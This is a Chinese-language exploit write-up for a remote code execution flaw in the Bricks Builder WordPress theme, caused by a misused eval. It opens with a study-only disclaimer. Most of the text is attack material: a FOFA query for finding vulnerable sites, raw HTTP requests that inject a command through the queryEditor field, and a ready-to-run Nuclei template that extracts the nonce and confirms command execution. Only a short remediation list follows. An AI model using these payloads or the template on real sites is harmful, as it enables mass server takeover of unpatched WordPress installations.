免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
Ⅰ、漏洞描述
Bricks Builder是一款用于WordPress的开发主题,提供直观的拖放界面,用于设计和构建WordPress网站。它使用户能够轻松创建自定义的网页布局和设计,无需编写或了解复杂的代码。Bricks Builder具有用户友好的界面和强大的功能,使用户可以通过简单的拖放操作添加、编辑和排列各种网页元素,例如文本框、图像、按钮、导航菜单等。它为WordPress用户提供了一种直观且便捷的方式来构建专业和吸引人的网站,无论是个人博客、商业网站还是电子商务平台。
由於函數"prepare_query_vars_from_settings "中的一个 eval 函数错误调用,導致遠程代碼執行漏洞,惡意攻擊者可能會利用此漏洞執行惡意代碼,從而獲取服務器權限。
影響版本
Brick Builder 主题在低于<= 1.9.6
Ⅱ、fofa语句
body="/wp-content/themes/bricks/"
Ⅲ、漏洞复现
POC-1
GET / HTTP/1.1
Host: 127.0.0.1
POC-2
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Content-Type: application/json
{
"postId": "1",
"nonce": "dc50d26123",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}
1、构建 POC,获取nonce值
2、使用第一步获取的nonce值构造数据包,执行RCE
Ⅳ、Nuclei-POC
id: WordPres-Bricks-Builder-RCE
info:
name: 由於函數"prepare_query_vars_from_settings "中的一个 eval 函数错误调用,導致遠程代碼執行漏洞,惡意攻擊者可能會利用此漏洞執行惡意代碼,從而獲取服務器權限。
author: WLF
severity: high
metadata:
fofa-query: body="/wp-content/themes/bricks/"
variables:
filename: "{{to_lower(rand_base(10))}}"
boundary: "{{to_lower(rand_base(20))}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Content-Type: application/json
{
"postId": "1",
"nonce": "{{path}}",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "throw new Exception(`id`);",
"objectType": "post"
}
}
}
}
extractors:
- type: regex
name: path
group: 1
regex:
- '"nonce":"(\w*)"'
internal: true
matchers:
- type: dsl
dsl:
- status_code==200 && contains_all(body,"Exception","gid=","uid=")
Ⅴ、修复建议
1、关闭互联网暴露面或接口设置访问权限
2、部署WAF对站点路径进行防护
3、将Bricks Builder组件升级只安全版本